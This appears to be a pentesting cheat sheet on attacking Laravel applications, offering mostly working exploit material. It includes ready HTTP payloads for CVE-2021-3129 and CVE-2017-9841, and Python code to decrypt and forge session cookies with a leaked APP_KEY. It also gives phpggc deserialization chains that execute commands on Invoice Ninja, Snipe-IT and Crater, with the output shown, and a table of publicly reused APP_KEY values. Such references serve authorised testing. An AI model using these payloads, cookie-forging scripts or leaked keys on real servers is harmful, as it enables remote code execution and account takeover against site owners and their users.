Laravel

Laravel Pentesting / Exploits

LogoBug-Bounty-Methodology/Technologies/Laravel.md at main · trilokdhaked/Bug-Bounty-MethodologyGitHub

Detection

Set-Cookie: laravel_session=

Version

https://example.com/composer.json

Sometimes the version is printed

Enumeration

Logowordlists/technologies/laravel-all-levels.txt at main · trickest/wordlistsGitHub
Logowordlists/technologies/laravel.txt at main · trickest/wordlistsGitHub

SSTI

SSTI

CVE

Also check deserialization attacks part

CVE-2021-3129 (Remote Code Execution)

POST /_ignition/execute-solution HTTP/1.1
Host: example.com
Accept: application/json
Content-Type: application/json

{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}

  1. Laravel 4.8.28 ~ 5.x - PHPUnit Remote Code Execution (CVE-2017-9841)

curl -d "<?php echo php_uname(); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

PoC:

LogoGitHub - joshuavanderpoll/CVE-2021-3129: Laravel RCE Exploit Script - CVE-2021-3129GitHub

Exposed environment variable

http://example.com/.env

Vulnerable path:

/.env
/vendor/.env
/lib/.env
/lab/.env
/cronlab/.env
/cron/.env
/core/.env
/core/app/.env
/core/Database/.env
/database/.env
/config/.env
/assets/.env
/app/.env
/apps/.env
/uploads/.env
/sitemaps/.env
/site/.env
/admin/.env
/web/.env
/public/.env
/en/.env
/tools/.env 
/v1/.env
/administrator/.env 
/laravel/.env

Exposed log files

http://example.com/storage/logs/laravel.log

site.com/laravel-folder/storage/logs/laravel.log/ (Search For token)
site.com/laravel-folder/storage/framework/sessions/ (Active session)

Debug mode

  • Try to request to https://example.com using POST method (Error 405)

  • Using [] in paramater (ex:example.com/param[]=0)

If Laravel is in debugging mode you will be able to access the code and sensitive data. For example http://127.0.0.1:8000/profiles

Look for APP_KEY

Laravel FileManager

/laravel-filemanager/

.env

Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called .env that can be accessed using some path traversal under: /../.env

Laravel will also show this information inside the debug page (that appears when Laravel finds an error and it's activated).

Using the secret APP_KEY of Laravel you can decrypt and re-encrypt cookies:

Decrypt Cookie

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
    global key
    AES.key_size = 128
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
    global key
    AES.key_size = 128
    crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
    return crypt_object.encrypt(value)


def decrypt(bstring):
    global key
    dic = json.loads(base64.b64decode(bstring).decode())
    mac = dic['mac']
    value = bytes(dic['value'], 'utf-8')
    iv = bytes(dic['iv'], 'utf-8')
    if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
        return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
        #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
    return ''


def encrypt(string):
    global key
    iv = os.urandom(16)
    #string = dumps(string)
    padding = 16 - len(string) % 16
    string += bytes(chr(padding) * padding, 'utf-8')
    value = base64.b64encode(mcrypt_encrypt(string, iv))
    iv = base64.b64encode(iv)
    mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
    dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
    return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8

Laravel crypto killer - Deserialization attacks

By default, a call to the decrypt function will consider the decrypted string as serialized data.

The variable used as the decryption key in the openssl_decrypt function is the APP_KEY. In summary, a user in possession of this secret will be able to re-encrypt data to carry out a deserialization attack and thus compromise the server hosting the Laravel application.

LogoGitHub - synacktiv/laravel-crypto-killer: A tool designed to exploit bad implementations of decryption mechanisms in Laravel applications.GitHub

Ninja, Snipe-IT and Crater are deployed with a default .env.example file containing a default APP_KEY, which is likely to be used in production

CVE-2024-55555 - Invoice Ninja

Generate a serialization payload:

$ php8.2 phpggc Laravel/RCE13 system id -b -f
YToyOntpOjc7Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086MzU6IklsbHVtaW5hdGVcRGF0YWJhc2VcRGF0YWJhc2VNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjE2OiJkYXRhYmFzZS5kZWZhdWx0IjtzOjY6InN5c3RlbSI7czoyMDoiZGF0YWJhc2UuY29ubmVjdGlvbnMiO2E6MTp7czo2OiJzeXN0ZW0iO2E6MTp7aTowO3M6MjoiaWQiO319fX1zOjEzOiIAKgBleHRlbnNpb25zIjthOjE6e3M6Njoic3lzdGVtIjtzOjEyOiJhcnJheV9maWx0ZXIiO319fWk6NztpOjc7fQ==

Exploit:

$ ./laravel_crypto_killer.py encrypt -k RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno= -v $(php8.2 phpggc Laravel/RCE13 system id -b -f)
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJhbmE4ck1BVitqWUNjK0dNRi9uV0VnPT0iLCAidmFsdWUiOiAiYndlUTRyaDgyWGhDRFZ1dkxvbVlTcmpoWTR6cmRjTDc0QzRRcjBiVzhrQTU1N0hYS1NxUU9nOUJWbEFNbDVqTDFSNjVBMmpQMzg0b01KVm8vbEZxcHVodEIveE1kV2lOZWVDRWszRlE5T3l3OHhyemZHdWx6Q2Jxcm5Hb0NqdVJVamlZVkZJcDNIR21YeXVwWWVuNURXQjRldDluTG9BczR4SlJKTDV0VGliQ09CRmd2dTA3b0txRStWTEhUdmhCRGlTaEk3TkpRbTlOS2YraWlZUS9odURMOGtrVzh3S2w4NUtiUE9xN1A2ZktDVklMYkNCVnZkVXc2eW02RGY4QklzL3R1RTJkbHpud1drbE1BZ01mU2Zjejd2bDZWSTc4SmV6L1NOQlNlRXdwL1N0YXRnWDJaQzQwRUl5QXhrZzRPSnBzNktEa24zY3pZaXZLQ0ZXZ2NRNnhZaFFycm95cnZ4MjdUa1JsMFB1aTkyTzI1ZzhTbXlyTzV0eFg2dXQ5MkxGc2xWeUhtUFN5WHA4RlAxcGk5cVZWL0cvdCtKbHJLeWp0V3RZUVJSSmxHSXNGSFNJelh1N2t0WWplMExEQSIsICJtYWMiOiAiODhiOGI1MGQzZmQ5NTQwNjllYzUxNjVkM2Y2MjNlZDM5N2Y4YWZmZDRhMjMyMmY1YTQ0ZDhkYjQ3NDkzZDE2MCIsICJ0YWciOiAiIn0=

# Reusing the previous chain on invoiceninja
$ curl -s http://in5.localhost/route/eyJpdiI6[...]0= | head -n1
uid=1500(invoiceninja) gid=1500(invoiceninja) groups=1500(invoiceninja)

CVE-2024-48987 - Snipe IT - XSRF-TOKEN serialization

$ ./laravel_crypto_killer.py encrypt -k 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= -v $(php7.4 phpggc Laravel/RCE9 system id -b)
eyJpdiI6ICJvck1SVWxyNDF6Lytaeks4a3NxU0tnPT0iLCAidmFsdWUiOiAiUkI0Z21sbCtZN1lJcWY2OS9HaHNjMDhteGNycGwvSStNQ2FaTDczdHhOTlpUUE5kVExCbkQybm5LRHp5SEtwYkRkeVVXcEZzWVpzMTNRbnJSSnFaaFdOVDczY1hsajFTMzFqNXZ1NFhYZGdjenFBT2s1LytiSURTbDQyU3JWNUMzM3lCRjZxZGhBWDVlMklYR1Y2c29FdnRRVUtvMkkxQkorYnltWGtFOHFUREwwTUU3TWRrWlRGR1FRdTkydE85b0JxeW5WRldOcUFieCtoYnM1UjREaDhBaGg5bzVhK3U1Q2o5OHkwRS80MlFVZmRPMW9SQm0rYVliMTRUTFZWTGc0TjhHK010SWpUclBpeURwT1Mxd3lSWTkvTlpZelcxVGs3Z2xTVTFBdXBvZ1RoSUEyckhaTTJ1TXBUTklZYiswV0NFTEZGa2padHkzUEovRER2Nzh5a2h3OXFKb0dRQ01mMVllMnVMUS8rdGh3N1JWWCtJazhWaEk0K0ROVkhYdWk1ekh2MUZzUGJFZTdkWCszQ1RvcDBkcktpTlBzdlVUVHVEMlRkWmN3ODRza1Y3WXNPSWU5RHdXbEswT1o1UCIsICJtYWMiOiAiNjA0ODE1NjQ1NWY2YWJmNGY5OWE2YTg3YzY0MzUxNDU0YmU0YzQwMDliM2NiMDJkYTg2ODZkNzNmMzJjMWEyZiIsICJ0YWciOiAiIn0=

# Reusing the previous base64 chain to trigger the remote command execution
$ curl -s -H "Cookie: XSRF-TOKEN=ey[...]0=" http://localhost:8000/login | head -n 1
uid=1000(docker) gid=50(staff) groups=50(staff)

CVE-2024-55556 - Crater - Vulnerable SESSION_DRIVER cookie

Retrieve the cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT:

$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 12:28:44 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdOS2lwMEhyNDNja0UzK3pCWEcxMXc9PSIsInZhbHVlIjoiMU1jMWlrYnRhN2ZRUVVvUEFaZVpVcC9Nb0h2U2J1eHJBZFdKcmpqSlcyclBpV1Azb3NXUTBFbkN0T3o3OTlwMk9yM2xLejBMNlV0U2FDalNzL1lhZDRkRUZtZzc2aitwVm40eWNHbC9pakR5SHRmYmN2R1pPSGsxQ01sMEVkZnQiLCJtYWMiOiJmN2M3OTI3MjExNGU4NTNlOTZiMGFkNjZlZmQyOTg2MWUwZjY1MzAyMDQwMzk3ZDM1NWRiZmI2NWVjNjI0OWJhIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax

Decrypt the cookie:

$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
ae8213eefa7b10062a52485c7dcca8a5a937cc1c|{"data":"a:2:{s:6:\"_token\";s:40:\"X3BnPcQvhG1azDQ04mx3A79rt998EiRBQXINtD3Z\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725452924}
[*] Base64 encoded unciphered version
b'YWU4MjEzZWVmYTdiMTAwNjJhNTI0ODVjN2RjY2E4YTVhOTM3Y2MxY3x7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJYM0JuUGNRdmhHMWF6RFEwNG14M0E3OXJ0OTk4RWlSQlFYSU50RDNaXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NTI5MjR9BwcHBwcHBw=='
[+] Matched serialized data in results! It is time to exploit unserialization!

Encrypt the serialized payload - The hash value before the pipe (|) (here ae8213eefa7b10062a52485c7dcca8a5a937cc1c) should then be passed to the --session_cookie option to re-encrypt a valid Laravel cookie.

$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=

$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=ae8213eefa7b10062a52485c7dcca8a5a937cc1c
[+] Here is your laravel ciphered session cookie
eyJpdiI6ICJxaVNJNnBPejM0SGgzNllSeENKU3lnPT0iLCAidmFsdWUiOiAiblJJQm83R2l6eXRVekxmZGxGU0p2OFFqajZ5STNVai9FdThjZDVzb21ucCt0eVlhS1V5ZldwWnNQdWxiYzlNUkVWWFgweDBXYXBsb1NRTHUvOVBBRjl0UFdLZmszamFLMGVKZ2NXNUJSeXg0bWhLU3duaTVZMnN3cUZzeVZLbHBsNDluYWNySXhiZTU4d3l0dTk4cVE0bDl3NzV4NVVrNTExSmhoVVpHWDJoQXVOWFY0RHdUeWlpUUlJS0JhbEFYMUdDU2w0SlZjSndYNVQyVHd3cFRjaWhqcTA0S2ZNbXVUR1NBQTdpU2JSQVFleER3V0hCV1lJKzB5ZUNCN2NuM2hUa0JFV2lOZlZhSWJVaklLWXlNQnlxZ2swUkdOVG9PRHdhU2NSdmJ2RDMzYzU5RU4zbWoxanN4eUFGcnAvVWluRkw2TlFtQzJlR1FXQzA2eDB2a29oWVB6cUZUOFBST2YwK1F5bFBvUy9HMUduQVRLUEFWZ0hDV3Y2SC9TRDd1aXVXOXFWaFdYVktNeURweGR6b2t6NWxkOUYzRVZBNURuRXNtd2p4V1NWUXZFaHRpRVpGRURqWTd4T0lYTGI2Unk4QlZqQjJ6SVBZdWJoYjI3ZjNVdlNyM1ZXRHpFOWd3V1hIT3NSRC9VTlBFaFhyQWczdVFGUEp5RnZVcWRweWNSWVZyQVljYVNMV0JLQU5VWUpnMGRjSVRQbVZMVjZBQjdibEVpaHdBTTAvMlh2dURpSUFLZ016NHpueXpVdDl1TGN3amx1dllvd2NzaktZNU44UVVRUGllbXlSSjR1WXRJNG5VS1I0a1QzRWRCRTlWbnJtamF4Qmd1aFJnRmtIQWIraFZNWkNBNWpDY1VqS0xxaXdSdE9uRTFIOFh0dnZkazFsMU5zK1dqbnhRc0dUR3FQTUQwVzVwOTBGKzh6Ly9TbDJlYS9pM1RQdEI1cGg1cmNiL05UczZnQmorMkJZUDh1czgvclZKMjZnaXpaMk5wQWEvVUZTOWZuRVhuNlhJc3FOYXFoelNwQjB2OFZJbnhDZ1ZjdEkzd0RETU5WWUsrNVZGUVMySUdDZUdoYXpFQm9hRFJWR280UzBFSVRmcCIsICJtYWMiOiAiZGE5ZTMwMzczMDZjNmQ0MjQ3YzUzYzdlMzcwNzU5NjlmMTlhZDJmYmNhZmE3OWE5MGNlN2RlOTY2MjdjZGJlMCIsICJ0YWciOiAiIn0=
$ curl -s -H "Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJ[...]CJ0YWciOiAiIn0=" http://localhost/login | head -n1
uid=1000(crater-user) gid=1000(crater-user) groups=1000(crater-user),0(root),33(www-dat

Cookie

Checks 'laravel_session' cookies for known laravel 'APP_KEY'

BadSecrets:

LogoGitHub - blacklanternsecurity/badsecrets: A library for detecting known secrets across many web frameworksGitHub

Cookie Monster

Cookie Monster

LogoGitHub - iangcarroll/cookiemonster: 🍪 CookieMonster helps you detect and abuse vulnerable implementations of stateless sessions.GitHub

APP_KEY - Bruteforce

By default, each cookie set by Laravel is a value encrypted via the encrypt function. Therefore, these values can be used to brute force the associated APP_KEY.

# curl on a default Laravel installation
$ curl http://localhost/ -I
HTTP/1.1 200 OK
Host: localhost
Connection: close
X-Powered-By: PHP/8.3.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Date: Mon, 23 Jun 2025 12:05:20 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ilord3hQZ3hJaUR6bFdvKy9pclZYMmc9PSIsInZhbHVlIjoiSTdBZ2tybVN5a0U4Y1VyVDFoNFhOL0g2aFNSZUY0c2NTZjROd2piQW82NDE5dXFUclFSNUVMS0hvS2k1ZHZpM2hOcUpqeDR0N0lnWHVObHA3VjJ3c2tiNHNoQnMxcHJVYzVOTzg0a1kxNVhhcXZMeHNqOWtWaGgydGZ5d1RTbHYiLCJtYWMiOiIyMDU2YzZkZTU2MmUxZmI3YWNlMjQwZGFiYzIzOGI1M2QxMDIyMGEyYzc3N2RlOTE2NWE4ZGI1YTE2N2RkYmI5IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D; expires=Mon, 23 Jun 2025 14:05:20 GMT; Max-Age=7200; path=/; httponly; samesite=lax

Bruteforce:

$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
  0%|                                                     | 0/1 [00:00<?, ?it/s]
[+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6Imt3OVJISzJHdGc1ZlE1UFZqWXJZTnc9PSIsInZhbHVlIjoib0JkTkZTTjdVbnNnWWh1aDRnNFM3WFc1eUdlSlovT08rRWNTT3ZsRHdZU1VLSGsxYUhvYTEzVjRQZGtzZFFzOWdVRUJBWU0ybnhITnFXZUd6N1JXanpJaW9YWS9tTDR1TWlIT1ZGaStqVXFUL1hYK1JWMDdSc0VacHlwMjVYTVYiLCJtYWMiOiIxMTg1OGI3MmQ4NjhjMWM2NGYzZGY2MTIyMWM5MjFkYWEyOWRhMWRjMDM3ZmQ4NjM3YWViODM3MDJkMGZhOGI3IiwidGFnIjoiIn0%3D
Key : base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA=
[*] Unciphered value
1beeb01afabf67cf1a1661bb347aa20dd68fff0f|BRrlfYbBn5XQK2vkYAcu7GVSABKSQrskDVjtQmgx
100%|█████████████████████████████████████████████| 1/1 [00:05<00:00,  5.00s/it]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[-] No serialization pattern matched, probably no way to unserialize from this :(
[+] Results saved in the file results/results.json

APP_KEY top 10

LogoLaravel: APP_KEY leakage analysisSynacktiv
Position
Number of public servers sharing it
APP_KEY
Description

🥇

561

W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA=

Default key of UltimatePOS available on CodeCanyon

🥈

491

SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng=

Frequently used in bootstrapped projects

🥉

415

otfhCHVghYrivHkzWqQnhnLmz0bZO72lKX7TxfD6msI=

Default key of XPanel SSH User Management

4️⃣

313

U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk=

base64 value of SomeRandomStringOf32 CharsExactly

5️⃣

257

FBhoCqWGOmuNcUh/3E5cnwB3zNCF4rZ7G19WRW4KVOs=

APP_KEY shared between unrelated projects

6️⃣

216

U29tZVJhbmRvbVN0cmluZw==

Default APP_KEY on older Laravel Version base64 value of SomeRandomString

7️⃣

198

1HJ+CWiouSuJODKAgrMxvwxcm2Tg8MjlrqSl/8ViT5E=

Seems linked to several platforms linked to crypto wallet management

8️⃣

195

EmFb+cmLbacowY1N9P8Y8+PAcRXU7SDU2rxBL1oaVyw=

Default key of WASender a message sender for WhatsApp

9️⃣

177

yPBSs/6cUPg+mwXV00hWJpB8TFk4LT+YduzProk5//Q=

Default key on several AI based projects

🔟

155

ahimIiG674yV4DkPWx6f7t9dkMmTFK2S+0lCPglpVfs=

Key shared between several random Laravel projects, seems they are copying each other

11

152

RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=

Default key on Invoice ninja

79

44

3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=

Default key on Snipe-IT

Position
Number of public servers sharing it
APP_KEY
Description
Position since 2024

🥇

1650

W8UqtE9LHZW+gRag78o4BCbN1M0w4HdaIFdLqHJ/9PA=

Default key of UltimatePOS available on CodeCanyon

🟰

🥈

1132

xf8woJXKNEFH1rjGffK/GBw2KxjMsxkleON68YnWdaw=

Key shared between several projects of an Indonesian company

🆕

🥉

518

U29tZVJhbmRvbVN0cmluZ09mMzJDaGFyc0V4YWN0bHk==

base64 value of SomeRandomStringOf32CharsExactly

⬆️

4️⃣

275

SbzM2tzPsCSlpTEdyaju8l9w2C5vmtd4fNAduiLEqng=

